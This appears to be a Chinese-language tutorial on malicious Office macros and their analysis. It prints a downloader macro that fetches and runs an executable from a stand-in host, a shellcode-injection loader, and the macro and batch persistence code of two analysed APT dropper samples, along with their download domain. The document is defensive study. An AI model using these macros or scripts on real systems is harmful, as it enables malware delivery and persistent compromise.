private Declare Function URLDownloadToFileA Lib "urlmon"(ByVak A AS Long,ByVal B As String ,ByVal C As String ,ByVal D As Long ,ByVal E As Long ) As Long
Sub Auto_Open() Dim result As Long fname = Environ("TEMP") & "agent.exe" result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0) Shell fnameEnd Sub這裡使用的URLDownloadToFileA來自於系統dll urlmon.dll
在第六行定義了名為Auto_Open的函數,該函數在文檔打開的時候會自動運行(如果允許文檔執行宏)
第八行滴位置,指明了下載文件的存放路徑和名稱
第9行的地方調用了URLDownloadToFileA函數,下載文件保存到本地
第10行的位置執行下載的payload簡單的混淆、反調試技術
1.利用ActiveX觸發器
一個典型的例子:利用InkPicture1_Painted
2.隱藏數據
3.用於隱藏數據的Word文檔變量,文檔變量可以存儲多達64KB的數據,隱藏在MS Word用戶界面中。
4.通過CallByName混淆函數調用
https://msdn.microsoft.com/en-us/library/office/gg278760.aspx
5.使用WMI運行命令
6.調用powershell
7.運行VBScript或者Jscript,運行VBS/JS代碼而不將文件寫入磁碟
可參考文檔:https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN
代碼示例:https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-Java-Script-Function.html
8.通過API回調運行shellcode
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As LongPrivate Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As LongPrivate Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As StringDim shellLength As ByteDim byteArray() As ByteDim memoryAddress As LongDim zL As LongzL = 0Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then pos = i + 1 Else pos = i * 2 + 1 End If Value = Mid(shellCode, pos, 2) byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub原始碼來自:http://ropgadget.com/posts/abusing_win_functions.html
代碼的前四行用於引用系統庫,調用系統API
16行處是shellcode的十六進位編碼,在這個例子中功能是打開計算器。
29行處是將shellcode的十六進位編碼轉換為二進位數據流
36行處將shellcode copy到了buffer處
38處執行了shellcode關於office的加密
在97到2003版本的時候,文件加密的概念還不流行,那個時候的宏代碼幾乎從來沒有加密過,2007版本之後,才開始通過加密的方式將VBA代碼保護起來
分享兩個解密的工具:
https://github.com/nolze/msoffcrypto-tool
https://github.com/herumi/msoffice宏代碼的分析工具
1.1. 首先可以使用VBA編輯器(比如在office文檔裡面按alt + F11),通過VBA編輯器可以很方便的調試和跟蹤
這裡不得不提一下從VBA編輯器隱藏VBA代碼的技巧:https://github.com/outflanknl/EvilClippy2.olevba:https://github.com/decalage2/oletools/wiki/olevba
該工具可以有效的提取office文檔中的宏代碼,需要python環境支持。上面這張圖列舉了olevba所支持的類型,和一些值得關注的地方,比如自動觸發代碼、一些危險的關鍵詞(Downloads、File writes、Shell execution DLL calls等)、還有一些IOCs當然很多時候靜態分析不能解決問題,還是需要動態分析才能更好地了解惡意代碼的功能。這裡分享一個軟體ViperMonkey:https://github.com/decalage2/ViperMonkeymraptor
mraptor是github上一個開源的宏代碼檢測項目
https://github.com/decalage2/oletools/wiki/mraptor大概介紹一下原理:
mraptor有三個檢測標準,分別是:
A 自動執行(觸發器)
W 寫入文件系統或內存
X 在VBA上下文外執行文件或任何payload
當某個office宏滿足了A條件,那麼W和X只要滿足任意一條,則會被mraptor標註為惡意。
該項目依賴python環境,用法如下:
Usage: mraptor [options] <filename> [filename2 ...]Options: -h, --help show this help message and exit -r find files recursively in subdirectories. -z ZIP_PASSWORD, --zip=ZIP_PASSWORD if the file is a zip archive, open all files from it, using the provided password (requires Python 2.6+) -f ZIP_FNAME, --zipfname=ZIP_FNAME if the file is a zip archive, file(s) to be opened within the zip. Wildcards * and ? are supported. (default:*) -l LOGLEVEL, --loglevel=LOGLEVEL logging level debug/info/warning/error/critical (default=warning) -m, --matches Show matched strings.An exit code is returned based on the analysis result: - 0: No Macro - 1: Not MS Office - 2: Macro OK - 10: ERROR - 20: SUSPICIOUS如果要掃描單個文件,可以使用如下命令
mraptro file.doc0x02 TransparentTribe的Dropper樣本樣本md5:bce8a8ea8d47951abffeec38fbeeeef1
樣本app.any.run沙箱連結:https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/且從any的沙箱中,我們可以看到,該樣本原始類型是xls。我們將樣本下載到本地,然後添加xls後綴打開(本地測試環境為office2013)。該樣本打開之後,沒有任何的信息,office官方彈框提示用戶選擇啟用/禁用宏。
這裡如果選擇禁用的話,那麼後續文檔將顯示為空:這是攻擊者一種迷惑用戶的手法,誘導用戶第二次重新打開並啟用宏:翻譯文檔內容的意義在於,通常來說,為了隱藏攻擊痕跡,攻擊者都會使用一個看起來正常的文檔以迷惑用戶。讓用戶以為打開的就是正常的文檔,當用戶認定這是一個正常文檔,文檔中的內容有」價值」時,往往就不會起疑心,木馬就能夠長時間的運行在用戶的計算機上。所以我們通過文檔的內容,通常情況下就可以推測出受攻擊的目標。可以在攻擊的背景分析中提供一些有用的信息。我們從該樣本的文檔內容中大概可以得知此次攻擊的目標是國防部,文檔中提到了一個jsls@ddpmod.gov.in的郵箱,我們通過對後面域名的查詢,基本可以確定該文檔是針對印度國防部的攻擊文檔:由這個信息,我們也可以大概的對攻擊者進行一個猜測。
由攻擊目標為印度,根據已有的信息,我們可以找到一些針對印度的攻擊組織,如Confucius 、APT36(C-Major、Transparent Tribe)、GravityRAT等。在打開的xls文檔中,安ALT + F11,即可打開宏窗口,紅框中的內容即為該文檔的宏對象。依次展開選項卡,可以看到有兩個對象有數據,一個是名為UserForm1的窗體,一個是名為Module1的模塊我們直接將滑鼠光標定位到右邊的Module1模塊中,然後按下鍵盤的F8,開始調試。
在通過office調試宏代碼時,調試的快捷鍵和od、x64dbg這種調試器有部分區別,具體如下:
這裡F8類似於od中的F7,會逐語句執行代碼,當遇到函數調用時,F8會跟進到函數內部。逐過程Shift + F8相當於od中的F8,遇到函數調用時,將會直接執行完函數而不進入函數。運行到光標處 Ctrl + F8 相當於od中的F4此外,在宏調試器中,設置斷點是F9,運行程序是F5。所以我們之後在調試宏代碼時,我們也可以直接在某行代碼設置斷點,然後F5運行到斷點處。我們這裡直接F8就是在當前的模塊窗口中,開始調試宏代碼,調試的方式是單步運行。通常來說,F8運行之後,程序就會停在該模塊的入口點。標黃顯示,並且在最下面的本地窗口中會顯示一些將要使用到的變量。有時候不小心關閉了本地窗口,我們需要在視圖窗口中重新打開。接下來我們來看看代碼,既然是調試VBA的代碼,我們需要先對VBA的語法有個認識。比如應該知道Dim用於定義變量。
在代碼最開始,程序定義了多個變量
Dim path_Aldi_file As String Dim file_Aldi_name As String Dim zip_Aldi_file As Variant Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String然後通過
file_Aldi_name = 「rlbwrarhsa」
對file_Aldi_name進行了賦值。通過
fldr_Aldi_name = Environ$(「ALLUSERSPROFILE」) & 「Tdlawis」
對fldr_Aldi_name進行賦值。
其中,Environ$(「ALLUSERSPROFILE」) 表示獲取%ALLUSERSPROFILE%環境變量,&符號表示拼接。
所以該語句運行完之後,fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis
當然,我們也可以直接按F8單步往下走,在調試器中查看對應的值,這是最快的方法。接下來,程序通過VBA的Dir方法判斷上面的fldr_Aldi_name路徑是否存在,如果不存在則通過MkDir創建該路徑。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then MkDir (fldr_Aldi_name)End IfTdlawis路徑創建成功之後,程序將對fldrz_Aldi_name 重新賦值,並且通過同樣的手法嘗試創建%ALLUSERSPROFILE%Dlphaws路徑。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then MkDir (fldrz_Aldi_name) End If接下來程序通過
zip_Aldi_file = fldrz_Aldi_name & 「omthrpa.zip」
聲明一個zip路徑,路徑應該為%ALLUSERSPROFILE%Dlphawsomthrpa.zip通過
path_Aldi_file = fldr_Aldi_name & file_Aldi_name & 「.exe」
聲明一個path路徑,路徑應該為:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe接下來,程序通過Application.OperatingSystem獲取當前作業系統的版本並根據不同的情況進行不同的處理,如果當前系統版本為6.02或6.03,程序將獲取UserForm1.TextBox2.Text的信息賦值給ar1Aldi。否則獲取UserForm1.TextBox1.Text的內容賦值給ar1Aldi。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then ar1Aldi = Split(UserForm1.TextBox2.Text, ":") Else ar1Aldi = Split(UserForm1.TextBox1.Text, ":") End If關於獲取作業系統版本信息的文檔,可在https://docs.microsoft.com/zh-cn/office/vba/api/excel.application.operatingsystem找到。作業系統判斷完成之後,程序就會將我們之前看到的窗體中的數據賦值給ar1Aldi變量:然後通過一個for each循環對剛才賦值的ar1Aldi進行解密:
For Each vl In ar1Aldi ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1 Next然後我們可以直接光標定位到循環後面的代碼,按Ctrl + F8 跑完循環這裡我們可以看到,程序會通過二進位流的方式打開zip_Aldi_file,也就是先前定義的zip文件,然後將剛才的btsAldi進行寫入。
Open zip_Aldi_file For Binary Access Write As Put Close
If Len(Dir(path_Aldi_file)) = 0 Then Call unAldizip(zip_Aldi_file, fldr_Aldi_name) End If解壓的文件是zip_Aldi_file,解壓的路徑是fldr_Aldi_name
解壓成功後將會在fldr_Aldi_name目錄下出現目標文件:最後程序通過
Shell path_Aldi_file, vbNormalNoFocus
啟動該exe,程序即從xls文件成功轉入到了exe文件運行。
由於該exe由C#編寫,是一個Crimson遠控,關於該類木馬的分析,將在後續的文章中進行介紹。從這個樣本中,我們初步了解了office宏代碼的攻擊方式。
1.誘導用戶啟用宏,誘導方式,如果不啟用宏,xls文檔打開之後將不現實任何內容
2.將預定義的zip數據流簡單轉換之後寫入到窗體中
3.根據作業系統版本的不同,取窗體中不同的值
4.將取出來的數據進行簡單變換之後還原為zip文件
5.解壓zip文件得到一個Crimson遠控
6.運行該遠控樣本md5:4428912f168f3f1f0554126de7b4eced
any沙箱連接為:
https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/同樣的,通過any沙箱,我們可以得知該樣本還是一個xls文檔,我們將樣本下載到本地並添加xls後綴打開。
同樣的彈出了禁用宏的提示框:之前的經驗告訴我們,這樣的彈框信不得,我們單擊確定之後,還是通過ALT + F11打開宏調試窗口,單擊左邊的對象時,發現該文檔有密碼保護:通過之前介紹的工具,將密碼去除之後重新打開,得到對象列表如下:
我們通過觀察,可以得知關鍵的代碼在名為ThisWorkbook的對象中:同樣的,我們對該段代碼進行調試分析。
代碼開頭還是通過Dim定義了幾個變量,然後通過Environ獲取了環境變量APPDAT和TEMP的路徑分別賦值給Digital和request
Digital = Environ$(「APPDATA」)
request = Environ$(「TEMP」)接著通過
Application.Wait Now + TimeValue(「0:00:03」)
休眠3秒休眠之後通過
a = MsgBox(「Microsoft Excel has stopped working」, vbCritical, 「Warning」)
進行彈框,彈框內容就是我們先前看到的提示框,這就是第二種迷惑用戶的手法。
在上一個樣本中,惡意宏代碼運行之後,程序會顯示一個看起來正常的xls文檔以消除用戶的疑心。在本樣本中,惡意代碼運行之後,程序是通過彈框提示用戶文檔打開錯誤以消除用戶的疑心。兩種方法的目標都在於,讓用戶誤以為,打開的文檔是沒有問題的。彈框之後,程序會通過
sunjava = 「Scr」 + 「ipting.File」 + 「System」 + 「Object」
Set digit = CreateObject(sunjava)
創建一個Scripting.FileSystemObject對象
Sheet12.OLEObjects("Object 1").CopySheet8.OLEObjects("Object 1").Copydigit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbookdigit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook分別將sheet中的數據拷貝到Digital,也就是%appdata%中並且命名為s和s.bat然後通過
https = Digital & 「」 & 「s.bat」
Call Shell(https, vbHide)
拼接s.bat的路徑並且再次通過Shell指令運行。我們可以看到,在該樣本中,宏代碼很短,宏代碼的功能位
1.彈框迷惑用戶
2.釋放一個S文件,經查看為一個PE文件
3.釋放一個s.bat批處理文件
4.調用執行s.bat文件到這裡我們也可以猜測出,s.bat文件將用於調用執行s文件。
echo offmd %USERPROFILE%InetLogsCustmd %USERPROFILE%InetLogsPoolmd %USERPROFILE%CommonBuildOfficemd %USERPROFILE%FilesSharedWebmd %USERPROFILE%ViewerInformationPolicyattrib +a +h +s %USERPROFILE%Inetattrib +a +h +s %USERPROFILE%Commonattrib +a +h +s %USERPROFILE%Filesattrib +a +h +s %USERPROFILE%Viewerdel /f %USERPROFILE%InetLogsPoolagniaSET /A %COMPUTERNAME%SET /A RAND=%RANDOM% 10000 + 2echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagniaschtasks /delete /tn Feed /fschtasks /delete /tn Sys_Core /fschtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exeschtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"move %AppData%s %USERPROFILE%ViewerInformationPolicyren %USERPROFILE%ViewerInformationPolicys sqmap.dlldel %0bat文件的語法還是比較簡單明了的,通過bat的內容,我們可以得知程序獲取了計算機的COMPUTERNAME和一個隨機值寫入到了%USERPROFILE%InetLogsPoolagnia,然後程序設置了兩個計劃任務,並且將%appdata%下的s文件移動到了%USERPROFILE%ViewerInformationPolicys並重命名為sqmap.dll我們查看計劃任務1所指定的目錄文件可以發現暫時是0kb查看計劃任務2所指定的任務,可以看到文件已經成功移動過來:通過hash查詢可以確定s和sqmap.dll是同一個文件:且我們通過計劃任務2可以得知,這裡是通過rundll32.exe 調用了這個名為sqlmap.dll的calldll方法。
目前vt(2020-06-24)上關於sqlmap.dll檢出量為0:我們可以對sqlmap.dll進行一個簡單的分析。
首先通過IDA加載sqlmap.dll,我們可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb該pdb以前未出現過,而且結合test.pdb的字眼,該樣本可能是攻擊者開發的測試版本。calldll函數體很簡單,就執行來一個call sub_10001280 我們跟進到該函數。sub_10001280 首先是通過strcpy複製了一個看起來像是加密字符串的東西到變量
bbLorkybbYngxkjbb]khbbmgvjgz4k~k調試器中直接在calldll函數這裡設置eip然後運行:回到IDA中進行標註後繼續往下看,成功解密之後,嘗試打開文件對象,打開失敗,則push16A26h然後執行slepp,sleep之後調用sub_10001000,這裡的sleep應該是用於反沙箱的sub_10001000的內容非常明顯,是解密URL並請求,所以很明顯,sqlmap.dll是一個Download,比較直觀的C偽代碼顯示:根據之前看到的信息,可以猜測這裡是解密了域名之後,下載文件保存到之前看到大小為0kb的路徑下,然後通過計劃任務持久化執行。
解密得到
dnsresolve.live但是目前這個地址404了,不知道是不是我請求姿勢的問題於是查詢了一下h6s87ehsci75sgats關鍵字:那麼此次攻擊分析到這就沒有後續了,不知道是不是因為樣本曝光,攻擊者撤銷了後續下載樣本的原因。還是攻擊者已經通過bat文件實現了本地持久化,所以故意暫時沒有開放目標地址,防止分析人員,等熱度過去了之後,再放開這個地址。如果是後面這種情況,可以考慮寫腳本監視這個地址,看看過段時間是否有返回。在本小節中,我們對office惡意宏代碼有了概要的了解並且通過兩個簡單的apt樣本進行了分析,我們可以看到,宏代碼在實際攻擊中使用是非常廣泛的,因為宏代碼嵌入在文檔中,是最容易和用戶進行交互的部分,也往往是攻擊者攻擊中的第一部分。在本小節中我們分析了兩個xls文檔的宏代碼,在下一小節我們將對帶有混淆和反調試的宏代碼進行調試和分析。